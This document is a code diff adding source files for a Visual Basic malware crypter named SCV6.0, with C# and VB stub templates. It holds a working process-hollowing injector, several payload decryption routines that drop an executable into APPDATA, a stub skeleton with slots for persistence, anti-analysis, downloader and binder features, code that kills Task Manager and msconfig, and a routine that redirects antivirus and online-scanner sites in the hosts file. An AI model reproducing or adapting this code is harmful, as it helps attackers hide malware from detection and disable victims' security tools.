@@ -0,0 +1,42 @@
|
||||
Public Shared Function RijndaelDecrypt(ByVal Decrypt As String, ByVal Key As String)
|
||||
|
||||
Dim A As New RijndaelManaged
|
||||
|
||||
Dim BC() As Byte
|
||||
|
||||
Dim BS() As Byte = New Byte() {Convert.ToInt32(&H1, &H2), _
|
||||
Convert.ToInt32(10, &H2), _
|
||||
Convert.ToInt32(11, &H2), _
|
||||
Convert.ToInt32(100, &H2), _
|
||||
Convert.ToInt32(101, &H2), _
|
||||
Convert.ToInt32(110, &H2), _
|
||||
Convert.ToInt32(111, &H2), _
|
||||
Convert.ToInt32(1000, &H2)}
|
||||
|
||||
Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, BS)
|
||||
|
||||
A.Key = oKeyGenerator.GetBytes(A.Key.Length)
|
||||
|
||||
A.IV = oKeyGenerator.GetBytes(A.IV.Length)
|
||||
|
||||
Dim ms As New IO.MemoryStream
|
||||
|
||||
Dim cs As New CryptoStream(ms, A.CreateDecryptor(), CryptoStreamMode.Write)
|
||||
|
||||
Try
|
||||
|
||||
BC = Convert.FromBase64String(Decrypt)
|
||||
|
||||
cs.Write(BC, Convert.ToInt32(&H0, &H2), BC.Length)
|
||||
|
||||
cs.Close()
|
||||
|
||||
Decrypt = System.Text.Encoding.UTF8.GetString(ms.ToArray)
|
||||
|
||||
Catch
|
||||
|
||||
End Try
|
||||
|
||||
Return Decrypt
|
||||
|
||||
End Function
|
||||
@@ -0,0 +1,82 @@
|
||||
using System.Runtime.InteropServices;
|
||||
using System;
|
||||
using System.Text;
|
||||
public class IX
|
||||
{
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
[DllImport("kernel32")]
|
||||
private static extern bool CreateProcess(string appName, StringBuilder commandLine, IntPtr procAttr, IntPtr thrAttr, [MarshalAs(UnmanagedType.Bool)] bool inherit, int creation, IntPtr env, string curDir, byte[] sInfo, IntPtr[] pInfo);
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
[DllImport("kernel32")]
|
||||
private static extern bool GetThreadContext(IntPtr hThr, uint[] ctxt);
|
||||
[DllImport("kernel32")]
|
||||
private static extern bool SetThreadContext(IntPtr t, uint[] c);
|
||||
[DllImport("ntdll")]
|
||||
private static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr);
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
[DllImport("kernel32")]
|
||||
private static extern bool ReadProcessMemory(IntPtr hProc, IntPtr baseAddr, ref IntPtr bufr, int bufrSize, ref IntPtr numRead);
|
||||
[DllImport("kernel32.dll")]
|
||||
private static extern uint ResumeThread(IntPtr hThread);
|
||||
[DllImport("kernel32")]
|
||||
private static extern IntPtr VirtualAllocEx(IntPtr hProc, IntPtr addr, IntPtr size, int allocType, int prot);
|
||||
[DllImport("kernel32", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, ref uint lpflOldProtect);
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
|
||||
public static bool R(byte[] bytes, string surrogateProcess)
|
||||
{
|
||||
try
|
||||
{
|
||||
IntPtr procAttr = IntPtr.Zero;
|
||||
IntPtr[] processInfo = new IntPtr[4];
|
||||
byte[] startupInfo = new byte[0x44];
|
||||
int num2 = BitConverter.ToInt32(bytes, 60);
|
||||
int num = BitConverter.ToInt16(bytes, num2 + 6);
|
||||
IntPtr ptr4 = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x54));
|
||||
if (CreateProcess(null, new StringBuilder(surrogateProcess), procAttr, procAttr, false, 4, procAttr, null, startupInfo, processInfo))
|
||||
{
|
||||
uint[] ctxt = new uint[0xb3];
|
||||
ctxt[0] = 0x10002;
|
||||
if (GetThreadContext(processInfo[1], ctxt))
|
||||
{
|
||||
IntPtr baseAddr = new IntPtr(ctxt[0x29] + 8L);
|
||||
IntPtr buffer = IntPtr.Zero;
|
||||
IntPtr bufferSize = new IntPtr(4);
|
||||
IntPtr numRead = IntPtr.Zero;
|
||||
if (ReadProcessMemory(processInfo[0], baseAddr, ref buffer, (int)bufferSize, ref numRead) &&
|
||||
(NtUnmapViewOfSection(processInfo[0], buffer) == 0))
|
||||
{
|
||||
IntPtr addr = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x34));
|
||||
IntPtr size = new IntPtr(BitConverter.ToInt32(bytes, num2 + 80));
|
||||
IntPtr lpBaseAddress = VirtualAllocEx(processInfo[0], addr, size, 0x3000, 0x40);
|
||||
int lpNumberOfBytesWritten;
|
||||
WriteProcessMemory(processInfo[0], lpBaseAddress, bytes, (uint)((int)ptr4), out lpNumberOfBytesWritten);
|
||||
int num5 = num - 1;
|
||||
for (int i = 0; i <= num5; i++)
|
||||
{
|
||||
int[] dst = new int[10];
|
||||
Buffer.BlockCopy(bytes, (num2 + 0xf8) + (i * 40), dst, 0, 40);
|
||||
byte[] buffer2 = new byte[(dst[4] - 1) + 1];
|
||||
Buffer.BlockCopy(bytes, dst[5], buffer2, 0, buffer2.Length);
|
||||
size = new IntPtr(lpBaseAddress.ToInt32() + dst[3]);
|
||||
addr = new IntPtr(buffer2.Length);
|
||||
WriteProcessMemory(processInfo[0], size, buffer2, (uint)addr, out lpNumberOfBytesWritten);
|
||||
}
|
||||
size = new IntPtr(ctxt[0x29] + 8L);
|
||||
addr = new IntPtr(4);
|
||||
WriteProcessMemory(processInfo[0], size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), (uint)addr, out lpNumberOfBytesWritten);
|
||||
ctxt[0x2c] = (uint)(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40));
|
||||
SetThreadContext(processInfo[1], ctxt);
|
||||
}
|
||||
}
|
||||
ResumeThread(processInfo[1]);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
using System.Runtime.InteropServices;
|
||||
using System;
|
||||
using System.Text;
|
||||
public class IX
|
||||
{
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
[DllImport("kernel32")]
|
||||
private static extern bool CreateProcess(string appName, StringBuilder commandLine, IntPtr procAttr, IntPtr thrAttr, [MarshalAs(UnmanagedType.Bool)] bool inherit, int creation, IntPtr env, string curDir, byte[] sInfo, IntPtr[] pInfo);
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
[DllImport("kernel32")]
|
||||
private static extern bool GetThreadContext(IntPtr hThr, uint[] ctxt);
|
||||
[DllImport("kernel32")]
|
||||
private static extern bool SetThreadContext(IntPtr t, uint[] c);
|
||||
[DllImport("ntdll")]
|
||||
private static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr);
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
[DllImport("kernel32")]
|
||||
private static extern bool ReadProcessMemory(IntPtr hProc, IntPtr baseAddr, ref IntPtr bufr, int bufrSize, ref IntPtr numRead);
|
||||
[DllImport("kernel32.dll")]
|
||||
private static extern uint ResumeThread(IntPtr hThread);
|
||||
[DllImport("kernel32")]
|
||||
private static extern IntPtr VirtualAllocEx(IntPtr hProc, IntPtr addr, IntPtr size, int allocType, int prot);
|
||||
[DllImport("kernel32", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, ref uint lpflOldProtect);
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
|
||||
public static bool R(byte[] bytes, string surrogateProcess)
|
||||
{
|
||||
try
|
||||
{
|
||||
IntPtr procAttr = IntPtr.Zero;
|
||||
IntPtr[] processInfo = new IntPtr[4];
|
||||
byte[] startupInfo = new byte[0x44];
|
||||
int num2 = BitConverter.ToInt32(bytes, 60);
|
||||
int num = BitConverter.ToInt16(bytes, num2 + 6);
|
||||
IntPtr ptr4 = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x54));
|
||||
if (CreateProcess(null, new StringBuilder(surrogateProcess), procAttr, procAttr, false, 4, procAttr, null, startupInfo, processInfo))
|
||||
{
|
||||
uint[] ctxt = new uint[0xb3];
|
||||
ctxt[0] = 0x10002;
|
||||
if (GetThreadContext(processInfo[1], ctxt))
|
||||
{
|
||||
IntPtr baseAddr = new IntPtr(ctxt[0x29] + 8L);
|
||||
IntPtr buffer = IntPtr.Zero;
|
||||
IntPtr bufferSize = new IntPtr(4);
|
||||
IntPtr numRead = IntPtr.Zero;
|
||||
if (ReadProcessMemory(processInfo[0], baseAddr, ref buffer, (int)bufferSize, ref numRead) &&
|
||||
(NtUnmapViewOfSection(processInfo[0], buffer) == 0))
|
||||
{
|
||||
IntPtr addr = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x34));
|
||||
IntPtr size = new IntPtr(BitConverter.ToInt32(bytes, num2 + 80));
|
||||
IntPtr lpBaseAddress = VirtualAllocEx(processInfo[0], addr, size, 0x3000, 0x40);
|
||||
int lpNumberOfBytesWritten;
|
||||
WriteProcessMemory(processInfo[0], lpBaseAddress, bytes, (uint)((int)ptr4), out lpNumberOfBytesWritten);
|
||||
int num5 = num - 1;
|
||||
for (int i = 0; i <= num5; i++)
|
||||
{
|
||||
int[] dst = new int[10];
|
||||
Buffer.BlockCopy(bytes, (num2 + 0xf8) + (i * 40), dst, 0, 40);
|
||||
byte[] buffer2 = new byte[(dst[4] - 1) + 1];
|
||||
Buffer.BlockCopy(bytes, dst[5], buffer2, 0, buffer2.Length);
|
||||
size = new IntPtr(lpBaseAddress.ToInt32() + dst[3]);
|
||||
addr = new IntPtr(buffer2.Length);
|
||||
WriteProcessMemory(processInfo[0], size, buffer2, (uint)addr, out lpNumberOfBytesWritten);
|
||||
}
|
||||
size = new IntPtr(ctxt[0x29] + 8L);
|
||||
addr = new IntPtr(4);
|
||||
WriteProcessMemory(processInfo[0], size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), (uint)addr, out lpNumberOfBytesWritten);
|
||||
ctxt[0x2c] = (uint)(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40));
|
||||
SetThreadContext(processInfo[1], ctxt);
|
||||
}
|
||||
}
|
||||
ResumeThread(processInfo[1]);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
Dim N As String = System.Text.Encoding.Default.GetString(SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))), _
|
||||
R.GetObject("K")))
|
||||
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
If IO.File.Exists(I) Then
|
||||
IO.File.Delete(I)
|
||||
End If
|
||||
Try
|
||||
My.Computer.FileSystem.WriteAllBytes(I, SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I"))), (R.GetObject("K"))), False)
|
||||
Catch
|
||||
End Try
|
||||
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("F"))), R.GetObject("K")), I})
|
||||
@@ -0,0 +1,8 @@
|
||||
Public Shared Function SDeCrypt(ByVal Data() As Byte, ByVal key() As Byte) As Byte()
|
||||
For i = Data.Length - Convert.ToInt32(&H1, 2) To Convert.ToInt32(0, 2) Step -1
|
||||
Data(i) = CByte((CInt(Data(i) Xor key(i Mod key.Length)) - CInt(Data((i + _
|
||||
Convert.ToInt32(&H1, 2)) Mod Data.Length)) + Convert.ToInt32(100000000, 2)) _
|
||||
Mod Convert.ToInt32(100000000, 2))
|
||||
Next
|
||||
Return Data
|
||||
End Function
|
||||
@@ -0,0 +1,96 @@
|
||||
Option Explicit Off
|
||||
Option Strict Off
|
||||
Imports System.Reflection
|
||||
Imports System.Runtime.InteropServices
|
||||
Imports System
|
||||
Imports Microsoft.VisualBasic
|
||||
Imports System.Text
|
||||
Imports System.Security.Cryptography
|
||||
Imports Microsoft.Win32
|
||||
Imports System.Windows.Forms
|
||||
Imports System.IO
|
||||
Imports System.CodeDom.Compiler
|
||||
'AssemblyCodes
|
||||
Public Class Out
|
||||
'FakeAPI#1
|
||||
'FakeAPI#2
|
||||
'FakeAPI#3
|
||||
'FakeAPI#4
|
||||
'FakeAPI#5
|
||||
'FakeAPI#6
|
||||
'FakeAPI#7
|
||||
'FakeAPI#8
|
||||
'FakeAPI#9
|
||||
'FakeAPI#A
|
||||
'FakeAPI#B
|
||||
Shared Sub Main()
|
||||
Dim R As New Resources.ResourceManager("A", Assembly.GetExecutingAssembly)
|
||||
'MessageB
|
||||
System.Threading.Thread.Sleep(DelayExe * 1000)
|
||||
'CallAntis
|
||||
'LoadMethod
|
||||
'KKK
|
||||
'AStartUpCall
|
||||
'CallWS
|
||||
'TaskManagerK
|
||||
'RegeditK
|
||||
'msconfigK
|
||||
'notepadK
|
||||
'dxdiagK
|
||||
'FolderOpts
|
||||
'meltcall
|
||||
'restart
|
||||
'Downloader
|
||||
'delHALDLL
|
||||
'Binder
|
||||
End Sub
|
||||
'InjectionEncryptionAlgorithm
|
||||
Private Shared Function LoadMethod(ByVal [Class] As String, ByVal Void As String, ByVal file As Assembly, ByVal Parameters As Object()) As Boolean
|
||||
Try
|
||||
Dim u As Assembly = file
|
||||
Dim t As Type = u.[GetType]([Class])
|
||||
If t IsNot Nothing Then
|
||||
Dim m As MethodInfo = t.GetMethod(Void)
|
||||
If m IsNot Nothing Then
|
||||
Return CBool(m.Invoke(Nothing, Parameters))
|
||||
End If
|
||||
End If
|
||||
Catch ex As Exception
|
||||
End Try
|
||||
End Function
|
||||
'Anti's Sub
|
||||
'FunctionA
|
||||
'Killer Sub
|
||||
'StubStrEncryption
|
||||
'KillerFunction
|
||||
'Websites
|
||||
'TaskmanagerSub
|
||||
'RegeditSub
|
||||
'msconfigSub
|
||||
'notepadSub
|
||||
'dxdiagSub
|
||||
'meltSub
|
||||
'junkFunction
|
||||
'InvokeSub
|
||||
|
||||
Public Shared Function ReverseString(ByVal s As String) As String
|
||||
Dim arr As Char() = s.ToCharArray()
|
||||
Array.Reverse(arr)
|
||||
Return New String(arr)
|
||||
End Function
|
||||
Public Shared Function CC(ByVal Source As String) As Assembly
|
||||
Dim Parameters As New CompilerParameters()
|
||||
Dim cResults As CompilerResults = Nothing
|
||||
Dim Compiler As CodeDomProvider = CodeDomProvider.CreateProvider("CSharp")
|
||||
Parameters.GenerateExecutable = False
|
||||
Parameters.GenerateInMemory = True
|
||||
Parameters.ReferencedAssemblies.Add("System.dll")
|
||||
Parameters.ReferencedAssemblies.Add("System.Management.dll")
|
||||
Parameters.CompilerOptions = "/platform:x86"
|
||||
Parameters.TreatWarningsAsErrors = False
|
||||
cResults = Compiler.CompileAssemblyFromSource(Parameters, Source)
|
||||
Return cResults.CompiledAssembly
|
||||
End Function
|
||||
'Add2StartUp
|
||||
End Class
|
||||
'heavyJunk
|
||||
@@ -0,0 +1,14 @@
|
||||
Dim N As String = TripleDESdecrypt(R.GetObject("NM"),R.GetObject("K"), True)
|
||||
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
If IO.File.Exists(I) Then
|
||||
IO.File.Delete(I)
|
||||
End If
|
||||
Dim II As Byte() = System.Text.Encoding.Default.GetBytes(TripleDESdecrypt(R.GetObject("I"), _
|
||||
R.GetObject("K"), True))
|
||||
Try
|
||||
My.Computer.FileSystem.WriteAllBytes(I, II, False)
|
||||
Catch
|
||||
End Try
|
||||
Dim III As Byte() = System.Text.Encoding.Default.GetBytes(TripleDESdecrypt(R.GetObject("F"), _
|
||||
R.GetObject("K"), True))
|
||||
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {III, I})
|
||||
@@ -0,0 +1,17 @@
|
||||
Public Shared Function TripleDESdecrypt(ByVal b As String, ByVal c As String, ByVal d As Boolean) As String
|
||||
Dim keyArray As Byte()
|
||||
Dim toEncryptArray As Byte() = Convert.FromBase64String(b)
|
||||
If d Then
|
||||
Dim hashmd5 = New MD5CryptoServiceProvider()
|
||||
keyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(c))
|
||||
Else
|
||||
keyArray = UTF8Encoding.UTF8.GetBytes(c)
|
||||
End If
|
||||
Dim tdes = New TripleDESCryptoServiceProvider()
|
||||
tdes.Key = keyArray
|
||||
tdes.Mode = CipherMode.ECB
|
||||
tdes.Padding = PaddingMode.PKCS7
|
||||
Dim cTransform As ICryptoTransform = tdes.CreateDecryptor()
|
||||
Dim resultArray As Byte() = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length)
|
||||
Return UTF8Encoding.UTF8.GetString(resultArray)
|
||||
End Function
|
||||
@@ -0,0 +1,3 @@
|
||||
Shared Sub F59()
|
||||
Killer("taskmgr")
|
||||
End Sub
|
||||
@@ -0,0 +1,79 @@
|
||||
Shared Sub W
|
||||
|
||||
WebBlock("www.novirusthanks.org")
|
||||
|
||||
WebBlock("www.virustotal.com")
|
||||
|
||||
WebBlock("www.virusscan.jotti.org")
|
||||
|
||||
WebBlock("www.malwarebytes.org")
|
||||
|
||||
WebBlock("www.bitdefender.com/scanner/online/free.html")
|
||||
|
||||
WebBlock("www.eset.com/online-scanner")
|
||||
|
||||
WebBlock("housecall.trendmicro.com")
|
||||
|
||||
WebBlock("www.kaspersky.com/scanforvirus")
|
||||
|
||||
WebBlock("www.kaspersky.com/virusscanner")
|
||||
|
||||
WebBlock("www.f-secure.com/en_EMEA/security/tools/online-scanner/")
|
||||
|
||||
WebBlock("www.windowsecurity.com/trojanscan")
|
||||
|
||||
WebBlock("www.avg.com")
|
||||
|
||||
WebBlock("www.avast.com")
|
||||
|
||||
WebBlock("www.avira.com")
|
||||
|
||||
WebBlock("www.zonealarm.com")
|
||||
|
||||
WebBlock("www.Symantec.com")
|
||||
|
||||
WebBlock("security.symantec.com")
|
||||
|
||||
WebBlock("www.pandasecurity.com")
|
||||
|
||||
Dim FS As String = System.Windows.Forms.Application.StartupPath & "\DNS.bat"
|
||||
|
||||
Dim SW As New IO.StreamWriter(FS)
|
||||
|
||||
SW.Write("ipconfig/flushdns")
|
||||
|
||||
SW.Write("ipconfig/release")
|
||||
|
||||
SW.Write("ipconfig/renew")
|
||||
|
||||
SW.Flush()
|
||||
|
||||
SW.Close()
|
||||
|
||||
Dim P As New System.Diagnostics.Process
|
||||
|
||||
P.StartInfo.FileName = FS
|
||||
|
||||
P.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden
|
||||
|
||||
P.Start()
|
||||
|
||||
P.WaitForExit()
|
||||
|
||||
IO.File.Delete(FS)
|
||||
|
||||
End Sub
|
||||
|
||||
Shared Sub WebBlock(ByVal Address As String)
|
||||
|
||||
Dim SW As New IO.StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.System) & "\drivers\etc\hosts", True)
|
||||
|
||||
SW.WriteLine(Environment.NewLine)
|
||||
|
||||
SW.WriteLine("127.0.0.1 " & Address)
|
||||
|
||||
SW.Flush()
|
||||
|
||||
SW.Close()
|
||||
|
||||
End Sub
|
||||
@@ -0,0 +1,14 @@
|
||||
Dim N As String = xEncryptionD(R.GetObject("K"), R.GetObject("NM"))
|
||||
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
If IO.File.Exists(I) Then
|
||||
IO.File.Delete(I)
|
||||
End If
|
||||
Dim II As Byte() = System.Text.Encoding.Default.GetBytes(xEncryptionD(R.GetObject("K"), _
|
||||
R.GetObject("I")))
|
||||
Try
|
||||
My.Computer.FileSystem.WriteAllBytes(I, II, False)
|
||||
Catch
|
||||
End Try
|
||||
Dim III As Byte() = System.Text.Encoding.Default.GetBytes(xEncryptionD(R.GetObject("K"), _
|
||||
R.GetObject("F")))
|
||||
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {III, I})
|
||||
@@ -0,0 +1,25 @@
|
||||
Public Shared Function xEncryptionD(ByVal CodeKey As String, ByVal DataIn As String) As String
|
||||
|
||||
Dim lonDataPtr As Long
|
||||
|
||||
Dim strDataOut As String = ""
|
||||
|
||||
Dim intXOrValue1 As Integer
|
||||
|
||||
Dim intXOrValue2 As Integer
|
||||
|
||||
Dim H As String = "&H"
|
||||
|
||||
For lonDataPtr = 1 To (Len(DataIn) / 2)
|
||||
|
||||
intXOrValue1 = Val(H & (Mid$(DataIn, (2 * lonDataPtr) - 1, 2)))
|
||||
|
||||
intXOrValue2 = Asc(Mid$(CodeKey, ((lonDataPtr Mod Len(CodeKey)) + 1), 1))
|
||||
|
||||
strDataOut = strDataOut + Chr(intXOrValue1 Xor intXOrValue2)
|
||||
|
||||
Next lonDataPtr
|
||||
|
||||
xEncryptionD = strDataOut
|
||||
|
||||
End Function
|
||||
@@ -0,0 +1,3 @@
|
||||
Shared Sub F61()
|
||||
Killer("msconfig")
|
||||
End Sub
|
||||
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 11.00
|
||||
# Visual Basic Express 2010
|
||||
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "SCV6.0", "SCV6.0.vbproj", "{6FFB7D87-0375-45A3-A183-6AE5FDBA1655}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{6FFB7D87-0375-45A3-A183-6AE5FDBA1655}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{6FFB7D87-0375-45A3-A183-6AE5FDBA1655}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{6FFB7D87-0375-45A3-A183-6AE5FDBA1655}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{6FFB7D87-0375-45A3-A183-6AE5FDBA1655}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
Binary file not shown.
@@ -0,0 +1,314 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProductVersion>9.0.30729</ProductVersion>
|
||||
<SchemaVersion>2.0</SchemaVersion>
|
||||
<ProjectGuid>{6FFB7D87-0375-45A3-A183-6AE5FDBA1655}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<StartupObject>SCV6._0.My.MyApplication</StartupObject>
|
||||
<RootNamespace>SCV6._0</RootNamespace>
|
||||
<AssemblyName>SCV6.0</AssemblyName>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<MyType>WindowsForms</MyType>
|
||||
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
|
||||
<OptionExplicit>On</OptionExplicit>
|
||||
<OptionCompare>Binary</OptionCompare>
|
||||
<OptionStrict>Off</OptionStrict>
|
||||
<OptionInfer>On</OptionInfer>
|
||||
<ApplicationIcon>Gnome-Dialog-Password.ico</ApplicationIcon>
|
||||
<PublishUrl>publish\</PublishUrl>
|
||||
<Install>true</Install>
|
||||
<InstallFrom>Disk</InstallFrom>
|
||||
<UpdateEnabled>false</UpdateEnabled>
|
||||
<UpdateMode>Foreground</UpdateMode>
|
||||
<UpdateInterval>7</UpdateInterval>
|
||||
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
|
||||
<UpdatePeriodically>false</UpdatePeriodically>
|
||||
<UpdateRequired>false</UpdateRequired>
|
||||
<MapFileExtensions>true</MapFileExtensions>
|
||||
<ApplicationRevision>0</ApplicationRevision>
|
||||
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
|
||||
<IsWebBootstrapper>false</IsWebBootstrapper>
|
||||
<UseApplicationTrust>false</UseApplicationTrust>
|
||||
<BootstrapperEnabled>true</BootstrapperEnabled>
|
||||
<FileUpgradeFlags>
|
||||
</FileUpgradeFlags>
|
||||
<UpgradeBackupLocation>
|
||||
</UpgradeBackupLocation>
|
||||
<OldToolsVersion>3.5</OldToolsVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<DefineDebug>true</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<OutputPath>..\..\</OutputPath>
|
||||
<DocumentationFile>SCV6.0.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355</NoWarn>
|
||||
<RemoveIntegerChecks>true</RemoveIntegerChecks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<DefineDebug>false</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DocumentationFile>SCV6.0.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355</NoWarn>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Deployment" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml" />
|
||||
<Reference Include="System.Core">
|
||||
<RequiredTargetFramework>3.5</RequiredTargetFramework>
|
||||
</Reference>
|
||||
<Reference Include="System.Xml.Linq">
|
||||
<RequiredTargetFramework>3.5</RequiredTargetFramework>
|
||||
</Reference>
|
||||
<Reference Include="System.Data.DataSetExtensions">
|
||||
<RequiredTargetFramework>3.5</RequiredTargetFramework>
|
||||
</Reference>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Import Include="Microsoft.VisualBasic" />
|
||||
<Import Include="System" />
|
||||
<Import Include="System.Collections" />
|
||||
<Import Include="System.Collections.Generic" />
|
||||
<Import Include="System.Data" />
|
||||
<Import Include="System.Drawing" />
|
||||
<Import Include="System.Diagnostics" />
|
||||
<Import Include="System.Windows.Forms" />
|
||||
<Import Include="System.Linq" />
|
||||
<Import Include="System.Xml.Linq" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="AeonHackThemes.vb">
|
||||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
<Compile Include="EN.vb" />
|
||||
<Compile Include="Form1.vb">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Form1.Designer.vb">
|
||||
<DependentUpon>Form1.vb</DependentUpon>
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Form2.Designer.vb">
|
||||
<DependentUpon>Form2.vb</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Form2.vb">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="My Project\AssemblyInfo.vb" />
|
||||
<Compile Include="My Project\Application.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Application.myapp</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Resources.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DesignTime>True</DesignTime>
|
||||
<DependentUpon>Resources.resx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Settings.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Settings.settings</DependentUpon>
|
||||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||
</Compile>
|
||||
<Compile Include="Resources\IconChanger.vb" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx">
|
||||
<DependentUpon>Form1.vb</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="Form2.resx">
|
||||
<DependentUpon>Form2.vb</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="My Project\Resources.resx">
|
||||
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
|
||||
<CustomToolNamespace>My.Resources</CustomToolNamespace>
|
||||
<SubType>Designer</SubType>
|
||||
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
|
||||
</EmbeddedResource>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="My Project\Application.myapp">
|
||||
<Generator>MyApplicationCodeGenerator</Generator>
|
||||
<LastGenOutput>Application.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
<None Include="My Project\Settings.settings">
|
||||
<Generator>SettingsSingleFileGenerator</Generator>
|
||||
